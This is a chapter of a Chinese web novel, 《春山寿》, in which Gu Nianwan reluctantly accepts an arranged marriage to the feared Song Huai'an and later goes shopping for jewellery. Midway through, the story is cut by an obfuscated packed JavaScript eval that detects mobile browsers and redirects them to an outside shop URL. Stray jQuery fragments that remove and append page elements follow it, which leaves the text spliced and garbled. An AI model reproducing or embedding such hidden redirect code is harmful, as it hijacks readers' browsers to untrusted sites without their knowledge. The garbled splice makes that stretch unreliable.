1. 听见

作品:《春山寿

    因着下雨的缘故,明明还是晌午,天却阴的厉害。


    连续的阴雨,院里不少的砖瓦上都起了薄薄的青苔。


    “我不嫁。”一道柔和中又带着些许倔强的女声从书房里传了出来。


    许是被这声惊着了,在檐下躲雨的麻雀抖了抖翅膀。


    顾念晚犹豫了许久才鼓足勇气来书房找父亲的。


    她一向温顺,从小到大父母说什么便是什么,从未有过忤逆。


    但要她嫁给宋淮安这件事,她实在是不愿。


    先不说宋淮安与自己心中所想的如意郎君相差甚多,光是他的秉性便是自己难以接受的。


    脑子里又浮现起幼时的一幕,那时尚且年幼的她看着鲜血淋漓的地面,害怕的躲在暗处用手死死的捂住嘴,只觉得这个宋淮安就是个疯子。


    顾谦没想到女儿会如此排斥,只叫她先坐下,随即挥袖让侍奉在侧的奴仆们退下,转身问,“你与爹爹说说为何不想?”


    雨水席卷着泥土的气息从缝隙里钻进了书房,但屋里两人似是毫无察觉。


    朝廷自从良顺帝登基以后,便一日不如一日了,如今南边已全然在宋淮安手里。


    朝廷为牵制于宋淮安,有意为其赐婚。


    看似简单的一个赐婚念头,实则背后牵扯甚广,顾谦从中嗅到了朝廷的心思,便赶在赐婚圣旨下来之前,与宋淮安商定让其娶下自己女儿。


    这样不仅可以躲避朝廷抛过来的矛,也着实是为女儿寻了一个好夫君。


    怎么看都是两全其美的事情。


    手握实权且野心勃勃,只有这样的男子才能在这样的世道里长长久久的护住自己的女儿。


    顾谦是这么想的,但没想到女儿却不愿意。


    顾念晚端坐在红木椅上,手指搅着丝帕,声音低低的说出了自己的顾虑,“我害怕他。”


    顾谦怎么也没想到会是因为这个,在书案后的椅子上坐下,“怕?你怎会怕他呢,他又不曾伤害过你,你好好同爹爹讲到底是因为什么?”


    顾谦以为女儿是为了不想成亲,胡乱编的理由骗他呢。


    顾念晚低着头,盯着丝帕说道:“都说他心狠手辣不是个能与人相与的,要不然怎么都二十有二了还没有成亲?”


    顾念晚并没有将自己小时候看见的那一幕告诉父亲。


    顾念晚说完顾谦便笑出声来,原来女儿担心的是这啊。


    “晚晚啊,就连亲眼看见的事情都不一定是事实,更何况是从别人嘴里的听说呢?你是爹爹的亲女儿,爹爹放心让你嫁的人,你还不放心吗?”


    顾谦不可否认,宋淮安心狠手辣是真,但他是绝对不会伤害顾念晚的。


    顾念晚在心里仔细的思索着爹爹刚刚说的话,即便如此,她还是有所顾虑,但这是自己的亲生父亲,不会将自己往火坑里推的,于是乎:“那女儿听从父亲的安排。”


    这次他们两个的亲事如此突然,这其中的弯弯绕绕她或许不懂,但她一如从前,还是选择相信自己的父亲。


    也终归还是顾念晚的性子软,对父亲的三言两语妥协了。


    雨水打在窗棱上的声音渐渐小了,雨变小了。


    “那父亲先忙,女儿告退了。”


    顾谦点了点头,“去吧。”


    木门从里面被拉开,顾念晚提着裙摆从书房里垮了出来。


    但看着门口站着的人,竟一时愣在了原地。


    她不知道宋淮安什么时候来的,又在书房门口站了多长时间,自己与父亲说不愿嫁给他,也不知道他听到没有。


    穿着一身玄色对襟长袍的宋淮安站在顾念晚面前,身量比顾念晚高了不少,让人根本不敢直视他。


    顾念晚将头低了下去,只匆匆行了个礼,也不多做停留,带着自己的丫鬟春桃快步离去。


    宋淮安转头看着纸伞下少女快步离开的背影,嘴角勾起一丝笑,怕我。


    等到顾念晚的背影从月洞门处消失后宋淮安才禅了禅身上的潮湿,推门进去了,恭敬的喊道:“老师。”


    顾谦将刚刚两人在门口的动静听了个清楚,只问道:“刚刚晚晚跟我说的话你都听到了吧。”


    这不是在询问他,只是陈述事实。


    宋淮安处处出色,这么多年也早已习惯了暗处有无数双眼睛盯着他,所以对周遭的动静都比旁人要更敏感些。


    宋淮安如实答道,“听到了。”


    仆人进来上茶的间隙,顾谦为自己女儿说着话,“晚晚她年纪还小,有许多事情都不明白,今日她说的这些话也没有坏心思,你别往心里去。”


    顾谦爱女是扬州城人尽皆知的事。


    宋淮安端起一旁方桌上的白玉矮口杯,就着杯沿抿了口上好的西湖龙井,“顾小姐担忧也是人之常情,我怎会与之计较。”


    宋淮安在外面的名声,他自己是最清楚不过的了。


    宋淮安能从上京逃出来,现如今又爬到这个高位,外面那些人说的大多都是真的。


    为人父母难免要多操心些,即便是顾谦也不能免俗,便趁着这个机会说:“淮安啊,你比晚晚大些,以后成亲了在宋府要多担待着,晚晚要是有什么不对的,你就跟我说,回来我和你师母好好教育她。”


    宋淮安听得出顾谦的言外之意,捡着好听的话说,“顾小姐知书达理,老师不必谦虚。”


    虽说是夸奖之词,但语气尽是冷漠疏离,宋淮安一贯如此。


    聪明人之间不必说的太多,现在最重要的事就是让两人赶快成亲,必须赶在长公主到来之前。


    顾谦率先开口,“我找人看了,大后天是个好日子,虽说是有点赶,但也还算来得及。”


    宋淮安没什么意见,“那就大后天吧,我让人放消息出去。”


    越是知道的人多越好。


    这边的顾念晚一路回了自己的院子,坐在榻上才安下心来,连忙开口问:“方才我与爹爹在书房里的谈话你在外面可能听到?”


    这要是让宋淮安知道自己在背后悄悄的说了他,定是要产生误会的。


    顾念晚眼巴巴的看着春桃,想要从她嘴里听到“没听见”这三个字。


    春桃有些不解小姐为何这样问,“听不完整的,只偶尔听见些不清晰的动静。”


    顾念晚听春桃说完便长叹了一口气,一副生无可恋的模样,“完了。”


    连春桃这么大大咧咧的都能听见点动静,更何况宋淮安呢?


    顾念晚在心里暗暗记下了,往后再在屋里说些不好叫别人听见的话,要将门口的人都屏退。


    春桃将屋里的香点上了,袅袅檀香倒是安抚了顾念晚不少。


    下午午休起来之后,府里上上下下的都忙着准备她的婚事,顾念晚闲着没事,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369003|140945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便带着春桃和几个府里的小厮去了秀芸阁,想去看看有没有自己喜欢的首饰。


    才将一从马车上下来,掌柜的便殷勤的迎了上来,“顾小姐可是好久没来了,最近是忙着婚事吧?”


    顾念晚挺惊讶的,才商定的婚事,才一上午的功夫她们怎么就知道了。


    不过她们猜错了,她这婚事来的匆忙,这段时间没出来纯属是犯懒,并非是因为什么婚事。


    顾念晚不想在这方面与不相干的人多费口舌,扶着春桃进来后便柔声的说:“劳烦您把新上的首饰都拿来我看看吧。”


    掌柜毕竟是生意人,各色人都见过,察言观色是一绝,见顾小姐不想往这上面说,便连忙吩咐下面人将上好的东西都送过来。


    赚钱才是要紧事。


    掌柜引着顾念晚在一旁的空位上坐下。


    从顾念晚进来后,屋里那些来买首饰的人便或明或暗的偷偷打量着她,其中还夹杂着些窃窃私语。


    听见旁边离的近的那人低声说:“她与那宋淮安差了可整整七岁啊,顾大人也愿意让自己女儿嫁?”


    同行的另一个人许是嫌她声音有些大,连忙让她小声些,“他们这样大富大贵的人家如何想的岂是我们能窥探的。”


    顾念晚装作没听见的样子,只低头看着桌子上放的首饰。


    这些不愧是能拿到顾念晚眼前的首饰,大多都合了她的心意。


    从小便被高高举起的娇小姐,只要是她看上的,便不会去在乎价钱。


    挑了几样要春桃去把钱付了。


    从里面出来的时候掌柜笑得合不拢嘴,忙不迭的说道,“顾小姐有时间再来啊,我给您留着好货。”


    顾念晚应承着,“好啊,有时间再来。”


    停在一旁的马车才牵到顾念晚前面,春桃将马凳放好,正准备扶小姐上去。


    谁知道迎面缓缓来了辆更大的马车,马车前面插着面十分惹眼的旗子,旗子上面赫然一个宋字。


    在扬州城用着这般大的马车且还插着醒目的旗子,除了宋淮安还能是谁。


    因为道路两旁尽是做生意的小摊,所以中间的路难以使两辆马车同时过。


    顾念晚马车后面便是一个路口,为了错开,便先让小厮将马车牵到那个拐角处。


    这一动作很快,坐在马车里的宋淮安并不知道与此同时这条街边还站着自己即将过门的夫人。


    直到拐过了这条街,宋淮安身边的侍从海松才隔着帘子道:“刚刚在秀芸阁门口站着的好像是顾小姐。”


    车内的宋淮安忙了一下午,到现在才脱身,坐在马车里本是在闭目养神,此时听见海松这般说才缓缓睁开了眼,声音有些质问“方才你怎么不说?”


    顾念晚本就有些抵触嫁给自己,如今在大街上当着这么多人的面,自己与她擦肩而过却连帘子都没打开,说着也是两个即将成亲的人,这样终究是有些不好。


    要叫暗处的人看见了,传到了朝廷那些人的耳朵里,怕是那群老东西要多想的。


    现如今又走出了这么远,算了,“下次提前说。”


    这婚事虽说是被逼无奈之举,但暗地里那么多眼睛盯着,戏要做足了才好叫人相信。


    这边的顾念晚上了马车其实并没有想这么多,只觉得他没跟自己打招呼才好呢,上午出了那样的事,自己也不知道怎么面对他。